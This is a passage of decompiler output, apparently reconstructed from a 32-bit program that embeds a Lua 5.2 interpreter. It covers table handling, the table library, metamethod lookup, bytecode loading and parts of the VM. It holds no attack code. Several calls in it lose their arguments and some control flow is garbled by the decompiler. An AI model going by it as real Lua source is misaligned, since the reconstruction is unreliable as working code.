[bp-6Ch]@1 int v15; // [sp+28h] [bp-68h]@1 int v16; // [sp+2Ch] [bp-64h]@1 int v17; // [sp+30h] [bp-60h]@1 int v18; // [sp+34h] [bp-5Ch]@1 int v19; // [sp+38h] [bp-58h]@1 int v20; // [sp+3Ch] [bp-54h]@1 int v21; // [sp+40h] [bp-50h]@1 int v22; // [sp+44h] [bp-4Ch]@1 int v23; // [sp+48h] [bp-48h]@1 int v24; // [sp+4Ch] [bp-44h]@1 int v25; // [sp+50h] [bp-40h]@1 int v26; // [sp+54h] [bp-3Ch]@1 int v27; // [sp+58h] [bp-38h]@1 int v28; // [sp+5Ch] [bp-34h]@1 int v29; // [sp+60h] [bp-30h]@1 int v30; // [sp+64h] [bp-2Ch]@1 int v31; // [sp+68h] [bp-28h]@1 int v32; // [sp+6Ch] [bp-24h]@1 int v33; // [sp+70h] [bp-20h]@1 int v34; // [sp+74h] [bp-1Ch]@1 int v35; // [sp+78h] [bp-18h]@1 int v36; // [sp+7Ch] [bp-14h]@1 int v37; // [sp+80h] [bp-10h]@1 int v38; // [sp+84h] [bp-Ch]@1 int v39; // [sp+88h] [bp-8h]@1 int v40; // [sp+8Ch] [bp-4h]@1 nums = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v16 = 0; v17 = 0; v18 = 0; v19 = 0; v20 = 0; v21 = 0; v22 = 0; v23 = 0; v24 = 0; v25 = 0; v26 = 0; v27 = 0; v28 = 0; v29 = 0; v30 = 0; v31 = 0; v32 = 0; v33 = 0; v34 = 0; v35 = 0; v36 = 0; v37 = 0; v38 = 0; v39 = 0; v40 = 0; nasize = numusearray(t, &nums); v3 = numusehash(t, &nums, &nasize) + nasize; if ( (ek->u.i.tt__ & 0x7FFFFF00) == 2146936064 || (v9 = *(double *)&ek->u.i.v__.gc, x = (signed int)v9, v9 != (double)(signed int)v9) || (signed int)x <= 0 || (signed int)x > 1073741824 ) { v5 = 0; } else { v4 = luaO_ceillog2(x); ++*(&nums + v4); v5 = 1; } nasize += v5; v6 = computesizes(&nums, &nasize); luaH_resize(L, t, nasize, v3 - v6 + 1); } //----- (005C0EA0) -------------------------------------------------------- lua_TValue *__cdecl luaH_newkey(lua_State *L, Table *t, lua_TValue *key) { lua_TValue *v3; // esi@1 Node *v4; // eax@3 Node *v5; // ebx@3 Node *v6; // edx@6 Node *v7; // esi@6 lua_TValue *result; // eax@11 Node *v9; // eax@13 int v10; // eax@19 v3 = key; if ( key->u.i.tt__ == 2146936064 ) luaG_runerror(L, "table index is nil"); v4 = mainposition(t, key); v5 = v4; if ( v4->i_val.u.i.tt__ != 2146936064 || v4 == &dummynode_ ) { if ( t->lastfree <= t->node ) { LABEL_11: rehash(L, t, v3); result = luaH_get(t, v3); if ( (_UNKNOWN *)result == &luaO_nilobject_ ) result = luaH_newkey(L, t, v3); return result; } while ( 1 ) { v6 = t->lastfree - 1; v7 = v6; t->lastfree = v6; if ( v6->i_key.nk.u.i.tt__ == 2146936064 ) break; if ( v6 <= t->node ) goto LABEL_10; } if ( !v6 ) { LABEL_10: v3 = key; goto LABEL_11; } v9 = mainposition(t, (lua_TValue *)&v4->i_key); if ( v9 == v5 ) { v7->i_key.nk.next = v5->i_key.nk.next; v5->i_key.nk.next = v7; v5 = v7; } else { for ( ; v9->i_key.nk.next != v5; v9 = v9->i_key.nk.next ) ; v9->i_key.nk.next = v7; v7->i_val.u.i.v__.gc = v5->i_val.u.i.v__.gc; v7->i_val.u.i.tt__ = v5->i_val.u.i.tt__; v7->i_key.nk.u.i.v__.gc = v5->i_key.nk.u.i.v__.gc; v7->i_key.nk.u.i.tt__ = v5->i_key.nk.u.i.tt__; v7->i_key.nk.next = v5->i_key.nk.next; *((_DWORD *)&v7->i_key.nk.next + 1) = *((_DWORD *)&v5->i_key.nk.next + 1); v5->i_key.nk.next = 0; v5->i_val.u.i.tt__ = 2146936064; } v3 = key; } v5->i_key.nk.u.i.v__.gc = v3->u.i.v__.gc; v5->i_key.nk.u.i.tt__ = v3->u.i.tt__; v10 = v3->u.i.tt__; if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v10) = 3; if ( v10 & 0x40 && v3->u.i.v__.gc->gch.marked & 3 && t->marked & 4 ) luaC_barrierback_(L, (GCObject *)&t->next); return (lua_TValue *)v5; } //----- (005C1030) -------------------------------------------------------- void __cdecl luaH_setint(lua_State *L, Table *t, int key, lua_TValue *value) { lua_TValue *v4; // eax@1 lua_TValue k; // [sp+4h] [bp-8h]@2 v4 = luaH_getint(t, key); if ( (_UNKNOWN *)v4 == &luaO_nilobject_ ) { *(double *)&k.u.i.v__.gc = (double)key; v4 = luaH_newkey(L, t, &k); } *(_QWORD *)&v4->u.i.v__.gc = *(_QWORD *)&value->u.i.v__.gc; } //----- (005C1080) -------------------------------------------------------- int __cdecl tinsert(lua_State *L) { int v1; // esi@1 int v2; // eax@1 int v3; // eax@4 int v4; // ebp@4 bool v5; // zf@4 bool v6; // sf@4 unsigned __int8 v7; // of@4 luaL_checktype(L, 1, 5); v1 = luaL_len(L, 1) + 1; v2 = lua_gettop(L) - 2; if ( !v2 ) { v4 = v1; LABEL_10: lua_rawseti(L, 1, v4); return 0; } if ( v2 != 1 ) luaL_error(L, "wrong number of arguments to 'insert'"); v3 = luaL_checkinteger(L, 2); v4 = v3; v7 = __OFSUB__(v1, v3); v5 = v1 == v3; v6 = v1 - v3 < 0; if ( v1 < v3 ) { v1 = v3; v7 = 0; v5 = 1; v6 = 0; } if ( (unsigned __int8)(v6 ^ v7) | v5 ) goto LABEL_10; do { lua_rawgeti(L, 1, v1 - 1); lua_rawseti(L, 1, v1--); } while ( v1 > v4 ); lua_rawseti(L, 1, v4); return 0; } //----- (005C1120) -------------------------------------------------------- int __cdecl tremove(lua_State *L) { int v1; // eax@1 int v2; // ebp@1 signed int v3; // eax@1 int v4; // esi@1 int result; // eax@5 luaL_checktype(L, 1, 5); v1 = luaL_len(L, 1); v2 = v1; v3 = luaL_optinteger(L, 2, v1); v4 = v3; if ( v3 < 1 || v3 > v2 ) { result = 0; } else { lua_rawgeti(L, 1, v3); for ( ; v4 < v2; ++v4 ) { lua_rawgeti(L, 1, v4 + 1); lua_rawseti(L, 1, v4); } lua_pushnil(L); lua_rawseti(L, 1, v2); result = 1; } return result; } //----- (005C11B0) -------------------------------------------------------- int __cdecl tconcat(lua_State *L) { const char *v1; // ebp@1 int v2; // edi@1 int v3; // eax@2 int v4; // ebx@4 bool i; // zf@4 int v6; // eax@6 int v7; // eax@10 unsigned int lsep; // [sp+10h] [bp-218h]@1 luaL_Buffer b; // [sp+14h] [bp-214h]@4 unsigned int v11; // [sp+224h] [bp-4h]@1 v11 = (unsigned int)&lsep ^ __security_cookie; v1 = luaL_optlstring(L, 2, byte_635E1E, &lsep); luaL_checktype(L, 1, 5); v2 = luaL_optinteger(L, 3, 1); if ( lua_type(L, 4) > 0 ) v3 = luaL_checkinteger(L, 4); else v3 = luaL_len(L, 1); v4 = v3; luaL_buffinit(L, &b); for ( i = v2 == v4; v2 < v4; i = v2 == v4 ) { lua_rawgeti(L, 1, v2); if ( !lua_isstring(L, -1) ) { v6 = lua_type(L, -1); lua_typename(L, v6); luaL_error(L, "invalid value (%s) at index %d in table for 'concat'"); } luaL_addvalue(&b); luaL_addlstring(&b, v1, lsep); ++v2; } if ( i ) { lua_rawgeti(L, 1, v2); if ( !lua_isstring(L, -1) ) { v7 = lua_type(L, -1); lua_typename(L, v7); luaL_error(L, "invalid value (%s) at index %d in table for 'concat'"); } luaL_addvalue(&b); } luaL_pushresult(&b); return 1; } //----- (005C1310) -------------------------------------------------------- int __cdecl pack(lua_State *L) { signed int v1; // edi@1 v1 = lua_gettop(L); lua_createtable(L, v1, 1); lua_pushinteger(L, v1); lua_setfield(L, -2, "n"); if ( v1 > 0 ) { lua_pushvalue(L, 1); lua_rawseti(L, -2, 1); lua_replace(L, 1); for ( ; v1 >= 2; --v1 ) lua_rawseti(L, 1, v1); } return 1; } //----- (005C1380) -------------------------------------------------------- int __cdecl unpack(lua_State *L) { int v1; // esi@1 int v2; // eax@2 int v3; // ebx@4 int result; // eax@5 int v5; // ebp@6 luaL_checktype(L, 1, 5); v1 = luaL_optinteger(L, 2, 1); if ( lua_type(L, 3) > 0 ) v2 = luaL_checkinteger(L, 3); else v2 = luaL_len(L, 1); v3 = v2; if ( v1 <= v2 ) { v5 = v2 - v1 + 1; if ( v5 <= 0 || !lua_checkstack(L, v2 - v1 + 1) ) luaL_error(L, "too many results to unpack"); lua_rawgeti(L, 1, v1); while ( v1 < v3 ) { ++v1; lua_rawgeti(L, 1, v1); } result = v5; } else { result = 0; } return result; } //----- (005C1420) -------------------------------------------------------- void __cdecl auxsort(lua_State *L, int l, int u) { int v3; // ebx@1 int v4; // ebp@1 int v5; // edi@5 int v6; // eax@5 int v7; // ebp@10 int v8; // edi@11 int v9; // ebx@12 int v10; // eax@12 int v11; // ebx@17 int v12; // eax@17 int v13; // ebp@23 int v14; // ebx@23 int v15; // edi@25 int v16; // eax@25 int v17; // edi@32 int v18; // eax@32 int v19; // edi@40 int v20; // ebp@40 int v21; // ebx@41 int v22; // eax@41 int v23; // edx@42 int n; // [sp+8h] [bp-4h]@23 v3 = u; v4 = l; if ( l < u ) { while ( 1 ) { lua_rawgeti(L, 1, v4); lua_rawgeti(L, 1, v3); if ( lua_type(L, 2) ) { lua_pushvalue(L, 2); lua_pushvalue(L, -2); lua_pushvalue(L, -4); lua_callk(L, 2, 1, 0, 0); v5 = lua_toboolean(L, -1); lua_settop(L, -2); v6 = v5; } else { v6 = lua_compare(L, -1, -2, 1); } if ( v6 ) { lua_rawseti(L, 1, v4); lua_rawseti(L, 1, v3); } else { lua_settop(L, -3); } v7 = v3 - l; if ( v3 - l == 1 ) break; v8 = (v3 + l) / 2; lua_rawgeti(L, 1, (v3 + l) / 2); lua_rawgeti(L, 1, l); if ( lua_type(L, 2) ) { lua_pushvalue(L, 2); lua_pushvalue(L, -3); lua_pushvalue(L, -3); lua_callk(L, 2, 1, 0, 0); v9 = lua_toboolean(L, -1); lua_settop(L, -2); v10 = v9; v3 = u; } else { v10 = lua_compare(L, -2, -1, 1); } if ( v10 ) { lua_rawseti(L, 1, v8); lua_rawseti(L, 1, l); } else { lua_settop(L, -2); lua_rawgeti(L, 1, v3); if ( lua_type(L, 2) ) { lua_pushvalue(L, 2); lua_pushvalue(L, -2); lua_pushvalue(L, -4); lua_callk(L, 2, 1, 0, 0); v11 = lua_toboolean(L, -1); lua_settop(L, -2); v12 = v11; v3 = u; } else { v12 = lua_compare(L, -1, -2, 1); } if ( v12 ) { lua_rawseti(L, 1, v8); lua_rawseti(L, 1, v3); } else { lua_settop(L, -3); } } if ( v7 == 2 ) break; lua_rawgeti(L, 1, v8); lua_pushvalue(L, -1); v13 = v3 - 1; n = v3 - 1; lua_rawgeti(L, 1, v3 - 1); lua_rawseti(L, 1, v8); lua_rawseti(L, 1, v3 - 1); v14 = l; while ( 1 ) { while ( 1 ) { ++v14; lua_rawgeti(L, 1, v14); if ( lua_type(L, 2) ) { lua_pushvalue(L, 2); lua_pushvalue(L, -2); lua_pushvalue(L, -4); lua_callk(L, 2, 1, 0, 0); v15 = lua_toboolean(L, -1); lua_settop(L, -2); v16 = v15; } else { v16 = lua_compare(L, -1, -2, 1); } if ( !v16 ) break; if ( v14 >= u ) luaL_error(L, "invalid order function for sorting"); lua_settop(L, -2); } while ( 1 ) { --v13; lua_rawgeti(L, 1, v13); if ( lua_type(L, 2) ) { lua_pushvalue(L, 2); lua_pushvalue(L, -4); lua_pushvalue(L, -3); lua_callk(L, 2, 1, 0, 0); v17 = lua_toboolean(L, -1); lua_settop(L, -2); v18 = v17; } else { v18 = lua_compare(L, -3, -1, 1); } if ( !v18 ) break; if ( v13 <= l ) luaL_error(L, "invalid order function for sorting"); lua_settop(L, -2); } if ( v13 < v14 ) break; lua_rawseti(L, 1, v14); lua_rawseti(L, 1, v13); } lua_settop(L, -4); lua_rawgeti(L, 1, n); lua_rawgeti(L, 1, v14); lua_rawseti(L, 1, n); lua_rawseti(L, 1, v14); v19 = u; v20 = l; if ( v14 - l >= u - v14 ) { v22 = v14 + 1; v23 = v14 - 1; v21 = u; u = v23; v19 = v23; } else { v21 = v14 - 1; v22 = l; l = v21 + 2; v20 = v21 + 2; } auxsort(L, v22, v21); if ( v20 >= v19 ) break; v3 = u; v4 = l; } } } //----- (005C1820) -------------------------------------------------------- int __cdecl sort(lua_State *L) { int v1; // edi@1 luaL_checktype(L, 1, 5); v1 = luaL_len(L, 1); luaL_checkstack(L, 40, byte_635E1E); if ( lua_type(L, 2) > 0 ) luaL_checktype(L, 2, 6); lua_settop(L, 2); auxsort(L, 1, v1); return 0; } //----- (005C1880) -------------------------------------------------------- int __cdecl luaopen_table(lua_State *L) { lua_createtable(L, 0, 6); luaL_setfuncs(L, &tab_funcs, 0); return 1; } //----- (005C18B0) -------------------------------------------------------- void __cdecl luaT_init(lua_State *L) { signed int v1; // esi@1 int v2; // eax@2 v1 = 42; do { *(void *(__cdecl **)(void *, void *, unsigned int, unsigned int))((char *)&L->l_G->frealloc + v1 * 4) = (void *(__cdecl *)(void *, void *, unsigned int, unsigned int))luaS_new(L, luaT_eventname[v1 - 42]); v2 = *(int *)((char *)&L->l_G->frealloc + v1 * 4); ++v1; *(_BYTE *)(v2 + 5) |= 0x20u; } while ( v1 < 59 ); } //----- (005C1900) -------------------------------------------------------- lua_TValue *__cdecl luaT_gettm(Table *events, TMS event, TString *ename) { lua_TValue *result; // eax@1 result = luaH_getstr(events, ename); if ( result->u.i.tt__ == 2146936064 ) { events->flags |= 1 << event; result = 0; } return result; } //----- (005C1940) -------------------------------------------------------- lua_TValue *__cdecl luaT_gettmbyobj(lua_State *L, lua_TValue *o, TMS event) { int v3; // ecx@1 int v4; // edx@1 char v5; // al@2 int v6; // eax@4 Table *v7; // ecx@7 lua_TValue *result; // eax@12 v3 = o->u.i.tt__; v4 = o->u.i.tt__ & 0x7FFFFF00; if ( v4 == 2146936064 ) v5 = o->u.i.tt__; else v5 = 3; v6 = (v5 & 0xF) - 5; if ( v6 ) { if ( v6 == 2 ) { v7 = (Table *)o->u.i.v__.gc->ts.tsv.hash; } else { if ( v4 == 2146936064 ) v7 = L->l_G->mt[v3 & 0xF]; else v7 = L->l_G->mt[3]; } } else { v7 = (Table *)o->u.i.v__.gc->ts.tsv.hash; } if ( v7 ) result = luaH_getstr(v7, L->l_G->tmname[event]); else result = (lua_TValue *)&luaO_nilobject_; return result; } //----- (005C1A00) -------------------------------------------------------- TString *__usercall LoadString(LoadState *S) { TString *v1; // ecx@0 LoadState *v2; // esi@1 TString *result; // eax@3 void *v4; // edi@4 TString *size; // [sp+0h] [bp-4h]@1 size = v1; v2 = S; if ( luaZ_read(S->Z, &size, 4u) ) JUMPOUT(error); result = size; if ( size ) { v4 = luaZ_openspace(v2->L, v2->b, (unsigned int)size); if ( luaZ_read(v2->Z, v4, (unsigned int)size) ) JUMPOUT(error); result = luaS_newlstr(v2->L, (const char *)v4, (unsigned int)((char *)size - 1)); } return result; } //----- (005C1A80) -------------------------------------------------------- void __usercall LoadCode(LoadState *S, Proto *f) { LoadState *v2; // esi@1 int v3; // ebx@3 void *v4; // eax@7 int b; // [sp+8h] [bp-4h]@1 v2 = S; if ( luaZ_read(S->Z, &b, 4u) ) JUMPOUT(error); v3 = b; if ( b < 0 ) JUMPOUT(error); if ( (unsigned int)(b + 1) > 0x3FFFFFFF ) luaM_toobig(v2->L); v4 = luaM_realloc_(v2->L, 0, 0, 4 * b); f->code = (unsigned int *)v4; f->sizecode = v3; if ( luaZ_read(v2->Z, v4, 4 * v3) ) JUMPOUT(error); } //----- (005C1B10) -------------------------------------------------------- void __usercall LoadConstants(LoadState *S, Proto *f) { LoadState *v2; // esi@1 int v3; // edi@3 int v4; // eax@7 lua_TValue *v5; // edi@10 TString *v6; // eax@17 int v7; // edi@21 int v8; // eax@25 Proto *v9; // eax@28 int v10; // ecx@28 char v11; // [sp+Eh] [bp-12h]@10 char v12; // [sp+Fh] [bp-11h]@13 int i; // [sp+10h] [bp-10h]@9 int b; // [sp+14h] [bp-Ch]@1 double v15; // [sp+18h] [bp-8h]@15 v2 = S; if ( luaZ_read(S->Z, &b, 4u) ) JUMPOUT(error); v3 = b; if ( b < 0 ) JUMPOUT(error); if ( (unsigned int)(b + 1) > 0x1FFFFFFF ) luaM_toobig(v2->L); f->k = (lua_TValue *)luaM_realloc_(v2->L, 0, 0, 8 * b); v4 = 0; for ( f->sizek = v3; v4 < v3; ++v4 ) f->k[v4].u.i.tt__ = 2146936064; i = 0; if ( v3 > 0 ) { while ( 1 ) { v5 = &f->k[i]; if ( luaZ_read(v2->Z, &v11, 1u) ) break; switch ( v11 ) { case 0: v5->u.i.tt__ = 2146936064; break; case 1: if ( luaZ_read(v2->Z, &v12, 1u) ) goto LABEL_20; v5->u.i.v__.gc = (GCObject *)v12; v5->u.i.tt__ = 2146936065; break; case 3: if ( luaZ_read(v2->Z, &v15, 8u) ) goto LABEL_20; *(_QWORD *)&v5->u.i.v__.gc = *(_QWORD *)&v15; break; case 4: v6 = LoadString(v2); v5->u.i.v__.gc = (GCObject *)v6; v5->u.i.tt__ = BYTE4(v6->dummy.u) | 0x7FF7A540; break; default: break; } ++i; if ( i >= b ) goto LABEL_19; } LABEL_20: JUMPOUT(error); } LABEL_19: if ( luaZ_read(v2->Z, &b, 4u) ) goto LABEL_20; v7 = b; if ( b < 0 ) JUMPOUT(error); if ( (unsigned int)(b + 1) > 0x3FFFFFFF ) luaM_toobig(v2->L); f->p = (Proto **)luaM_realloc_(v2->L, 0, 0, 4 * b); v8 = 0; for ( f->sizep = v7; v8 < v7; ++v8 ) f->p[v8] = 0; for ( i = 0; i < v7; ++i ) { v9 = luaF_newproto(v2->L); v10 = i; f->p[i] = v9; LoadFunction(v2, f->p[v10]); } } //----- (005C1D40) -------------------------------------------------------- void __usercall LoadUpvalues(LoadState *S, Proto *f) { LoadState *v2; // esi@1 int v3; // edi@3 int v4; // eax@7 int i; // ebx@9 char v6; // [sp+Ah] [bp-6h]@10 char v7; // [sp+Bh] [bp-5h]@11 int b; // [sp+Ch] [bp-4h]@1 v2 = S; if ( luaZ_read(S->Z, &b, 4u) ) JUMPOUT(error); v3 = b; if ( b < 0 ) JUMPOUT(error); if ( (unsigned int)(b + 1) > 0x1FFFFFFF ) luaM_toobig(v2->L); f->upvalues = (Upvaldesc *)luaM_realloc_(v2->L, 0, 0, 8 * b); v4 = 0; for ( f->sizeupvalues = v3; v4 < v3; ++v4 ) f->upvalues[v4].name = 0; for ( i = 0; i < v3; ++i ) { if ( luaZ_read(v2->Z, &v6, 1u) || (f->upvalues[i].instack = v6, luaZ_read(v2->Z, &v7, 1u)) ) JUMPOUT(error); f->upvalues[i].idx = v7; } } //----- (005C1E30) -------------------------------------------------------- void __usercall LoadDebug(LoadState *S, Proto *f) { const char *v2; // ecx@31 lua_State *v3; // edx@31 LoadState *v4; // esi@1 int v5; // eax@2 int v6; // ebp@3 void *v7; // eax@7 int v8; // ebp@11 int v9; // ebx@11 int v10; // eax@16 int v11; // ecx@16 int v12; // ebp@26 int v13; // ebx@28 int b; // [sp+8h] [bp-14h]@1 int v15; // [sp+Ch] [bp-10h]@19 int i; // [sp+10h] [bp-Ch]@21 const char *v17; // [sp+14h] [bp-8h]@31 int v18; // [sp+18h] [bp-4h]@31 v4 = S; f->source = LoadString(S); if ( luaZ_read(v4->Z, &b, 4u) ) { v5 = (int)"truncated"; error: v2 = v4->name; v3 = v4->L; v18 = v5; v17 = v2; luaO_pushfstring(v3, "%s: %s precompiled chunk"); luaD_throw(v4->L, 3); } v6 = b; if ( b < 0 ) { v5 = (int)"corrupted"; goto error; } if ( (unsigned int)(b + 1) > 0x3FFFFFFF ) luaM_toobig(v4->L); v7 = luaM_realloc_(v4->L, 0, 0, 4 * b); f->lineinfo = (int *)v7; f->sizelineinfo = v6; if ( luaZ_read(v4->Z, v7, 4 * v6) ) { v5 = (int)"truncated"; goto error; } if ( luaZ_read(v4->Z, &b, 4u) ) { v5 = (int)"truncated"; goto error; } v8 = b; v9 = 0; if ( b < 0 ) { v5 = (int)"corrupted"; goto error; } if ( (unsigned int)(b + 1) > 0x15555555 ) luaM_toobig(v4->L); f->locvars = (LocVar *)luaM_realloc_(v4->L, 0, 0, 12 * b); f->sizelocvars = v8; if ( v8 > 0 ) { v10 = 0; v11 = v8; do { f->locvars[v10].varname = 0; ++v10; --v11; } while ( v11 ); } for ( b = 0; b < v8; ++b ) { f->locvars[v9].varname = LoadString(v4); if ( luaZ_read(v4->Z, &v15, 4u) ) goto LABEL_25; if ( v15 < 0 ) goto LABEL_27; f->locvars[v9].startpc = v15; if ( luaZ_read(v4->Z, &i, 4u) ) goto LABEL_25; if ( i < 0 ) goto LABEL_27; f->locvars[v9].endpc = i; ++v9; } if ( luaZ_read(v4->Z, &i, 4u) ) { LABEL_25: v5 = (int)"truncated"; goto error; } v12 = i; if ( i < 0 ) { LABEL_27: v5 = (int)"corrupted"; goto error; } v13 = 0; if ( i > 0 ) { do f->upvalues[v13++].name = LoadString(v4); while ( v13 < v12 ); } } //----- (005C2000) -------------------------------------------------------- void __cdecl LoadFunction(LoadState *S, Proto *f) { LoadState *v2; // esi@1 Proto *v3; // edi@5 v2 = S; if ( luaZ_read(S->Z, &S, 4u) ) JUMPOUT(error); if ( (signed int)S < 0 ) JUMPOUT(error); v3 = f; f->linedefined = (int)S; if ( luaZ_read(v2->Z, &S, 4u) ) JUMPOUT(error); if ( (signed int)S < 0 ) JUMPOUT(error); v3->lastlinedefined = (int)S; if ( luaZ_read(v2->Z, &S, 1u) ) JUMPOUT(error); v3->numparams = (char)S; if ( luaZ_read(v2->Z, &S, 1u) ) JUMPOUT(error); v3->is_vararg = (char)S; if ( luaZ_read(v2->Z, &S, 1u) ) JUMPOUT(error); v3->maxstacksize = (char)S; LoadCode(v2, v3); LoadConstants(v2, v3); LoadUpvalues(v2, v3); LoadDebug(v2, v3); } //----- (005C2120) -------------------------------------------------------- void __cdecl luaU_header(char *h) { *(_DWORD *)h = 1635077147; h[4] = 82; h[5] = 0; h[6] = 1; h[7] = 4; h[8] = 4; h[9] = 4; h[10] = 8; h[11] = 0; *((_DWORD *)h + 3) = off_682870; *((_WORD *)h + 8) = word_682874; } // 682870: using guessed type void *off_682870; // 682874: using guessed type __int16 word_682874; //----- (005C2170) -------------------------------------------------------- void __usercall LoadHeader(LoadState *S) { Zio *v1; // eax@1 signed int v2; // ecx@3 char *v3; // edi@3 int *v4; // esi@3 bool v5; // zf@3 signed int v6; // ecx@9 char *v7; // edi@9 int *v8; // esi@9 bool v9; // zf@9 int h; // [sp+4h] [bp-2Ch]@1 char v11; // [sp+8h] [bp-28h]@1 char v12; // [sp+9h] [bp-27h]@1 char v13; // [sp+Ah] [bp-26h]@1 char v14; // [sp+Bh] [bp-25h]@1 char v15; // [sp+Ch] [bp-24h]@1 char v16; // [sp+Dh] [bp-23h]@1 char v17; // [sp+Eh] [bp-22h]@1 char v18; // [sp+Fh] [bp-21h]@1 void *v19; // [sp+10h] [bp-20h]@1 __int16 v20; // [sp+14h] [bp-1Ch]@1 char s; // [sp+18h] [bp-18h]@1 char b; // [sp+19h] [bp-17h]@1 unsigned int v23; // [sp+2Ch] [bp-4h]@1 v23 = (unsigned int)&h ^ __security_cookie; v14 = 4; v15 = 4; v16 = 4; v19 = off_682870; v1 = S->Z; v12 = 0; v18 = 0; h = 1635077147; v11 = 82; v13 = 1; v17 = 8; v20 = word_682874; s = 27; if ( luaZ_read(v1, &b, 0x11u) ) JUMPOUT(error); v2 = 9; v3 = &s; v4 = &h; v5 = 1; do { if ( !v2 ) break; v5 = *(_WORD *)v4 == *(_WORD *)v3; v4 = (int *)((char *)v4 + 2); v3 += 2; --v2; } while ( v5 ); if ( !v5 ) { if ( h != *(_DWORD *)&s ) JUMPOUT(error); v6 = 3; v7 = &s; v8 = &h; v9 = 1; do { if ( !v6 ) break; v9 = *(_WORD *)v8 == *(_WORD *)v7; v8 = (int *)((char *)v8 + 2); v7 += 2; --v6; } while ( v9 ); if ( !v9 ) JUMPOUT(error); if ( memcmp(&h, &s, 12) ) JUMPOUT(error); JUMPOUT(error); } } // 682870: using guessed type void *off_682870; // 682874: using guessed type __int16 word_682874; //----- (005C2280) -------------------------------------------------------- Closure *__cdecl luaU_undump(lua_State *L, Zio *Z, Mbuffer *buff, const char *name) { const char *v4; // ecx@1 const char v5; // al@1 Closure *v6; // edi@7 lua_TValue *v7; // eax@7 Proto *v8; // eax@9 int (__cdecl *v9)(lua_State *); // ebx@9 Closure *result; // eax@10 lua_TValue *v11; // esi@10 lua_State *S; // [sp+0h] [bp-10h]@7 Zio *v13; // [sp+4h] [bp-Ch]@7 Mbuffer *v14; // [sp+8h] [bp-8h]@7 const char *v15; // [sp+Ch] [bp-4h]@4 v4 = name; v5 = *name; if ( *name == 64 || v5 == 61 ) { v4 = name + 1; } else { if ( v5 == 27 ) { v15 = "binary string"; goto LABEL_7; } } v15 = v4; LABEL_7: S = L; v13 = Z; v14 = buff; LoadHeader((LoadState *)&S); v6 = luaF_newLclosure(L, 1); v7 = L->top; v7->u.i.v__.gc = (GCObject *)v6; v7->u.i.tt__ = 2146936134; L->top = v7 + 1; if ( (signed int)((unsigned int)((char *)L->stack_last - (char *)&v7[1]) & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); v8 = luaF_newproto(L); v6->c.f = (int (__cdecl *)(lua_State *))v8; LoadFunction((LoadState *)&S, v8); v9 = v6->c.f; if ( *((_DWORD *)v9 + 10) == 1 ) { result = v6; } else { result = luaF_newLclosure(L, *((_DWORD *)v9 + 10)); result->c.f = v9; v11 = L->top - 1; v11->u.i.v__.gc = (GCObject *)result; v11->u.i.tt__ = 2146936134; } return result; } //----- (005C2360) -------------------------------------------------------- lua_TValue *__cdecl luaV_tonumber(lua_TValue *obj, lua_TValue *n) { lua_TValue *result; // eax@1 double num; // [sp+0h] [bp-8h]@3 result = obj; if ( (obj->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) { if ( (obj->u.i.tt__ | 0x70) == 2146936180 && luaO_str2d((const char *)&obj->u.i.v__.gc->u.uv.len, obj->u.i.v__.gc->ts.tsv.len, &num) ) { result = n; *(_QWORD *)&n->u.i.v__.gc = *(_QWORD *)# } else { result = 0; } } return result; } //----- (005C23C0) -------------------------------------------------------- int __cdecl luaV_tostring(lua_State *L, lua_TValue *obj) { int result; // eax@2 int v3; // eax@3 TString *v4; // eax@3 char s[32]; // [sp+10h] [bp-24h]@1 unsigned int v6; // [sp+30h] [bp-4h]@1 v6 = (unsigned int)s ^ __security_cookie; if ( (obj->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) { result = 0; } else { v3 = sprintf(s, "%.14g"); v4 = luaS_newlstr(L, s, v3); obj->u.i.v__.gc = (GCObject *)v4; obj->u.i.tt__ = BYTE4(v4->dummy.u) | 0x7FF7A540; result = 1; } return result; } //----- (005C2450) -------------------------------------------------------- void __usercall traceexec(lua_State *L) { char v1; // bl@1 CallInfo *v2; // esi@1 signed int v3; // ecx@3 char v4; // al@4 unsigned int v5; // ecx@10 int v6; // ebp@10 int v7; // ecx@10 int v8; // ebx@11 const unsigned int *v9; // eax@14 int v10; // eax@16 char v11; // bl@23 signed int counthook; // [sp+0h] [bp-4h]@3 v1 = L->hookmask; v2 = L->ci; if ( !(v1 & 8) || L->hookcount ) { v3 = 0; counthook = 0; } else { v3 = 1; counthook = 1; L->hookcount = L->basehookcount; } v4 = v2->callstatus; if ( v4 >= 0 ) { if ( v3 ) luaD_hook(L, 3, -1); if ( v1 & 4 ) { v5 = v2->func->u.i.v__.gc->ts.tsv.len; v6 = *(_DWORD *)(v5 + 12); v7 = *(_DWORD *)(v5 + 20); v8 = v7 ? *(_DWORD *)(v7 + 4 * (((signed int)((char *)v2->u.l.savedpc - v6) >> 2) - 1)) : 0; if ( (signed int)((char *)v2->u.l.savedpc - v6) >> 2 == 1 || (v9 = L->oldpc, v2->u.l.savedpc <= v9) || (!v7 ? (v10 = 0) : (v10 = *(_DWORD *)(v7 + 4 * ((signed int)((char *)v9 - v6) >> 2) - 4)), v8 != v10) ) luaD_hook(L, 2, v8); } L->oldpc = v2->u.l.savedpc; if ( L->status == 1 ) { if ( counthook ) L->hookcount = 1; v11 = v2->callstatus | 0x80; --v2->u.l.savedpc; v2->callstatus = v11; v2->func = L->top - 1; luaD_throw(L, 1); } } else { v2->callstatus = v4 & 0x7F; } } //----- (005C2540) -------------------------------------------------------- void __usercall callTM(lua_State *L, lua_TValue *f, lua_TValue *p1, lua_TValue *p2, lua_TValue *p3, int hasres) { lua_TValue *v6; // ebx@1 lua_TValue *v7; // eax@1 unsigned int v8; // edi@1 lua_TValue *v9; // eax@1 lua_TValue *v10; // eax@1 lua_TValue *v11; // eax@2 lua_TValue *v12; // ecx@6 lua_TValue *v13; // eax@6 v6 = f; v7 = L->top; v8 = (char *)p3 - (char *)L->stack; L->top = v7 + 1; v7->u.i.v__.gc = v6->u.i.v__.gc; v7->u.i.tt__ = v6->u.i.tt__; v9 = L->top; L->top = v9 + 1; *(_QWORD *)&v9->u.i.v__.gc = *(_QWORD *)&p1->u.i.v__.gc; v10 = L->top; L->top = v10 + 1; *(_QWORD *)&v10->u.i.v__.gc = *(_QWORD *)&p2->u.i.v__.gc; if ( !hasres ) { v11 = L->top; L->top = v11 + 1; *(_QWORD *)&v11->u.i.v__.gc = *(_QWORD *)&p3->u.i.v__.gc; } if ( (signed int)(((char *)L->stack_last - 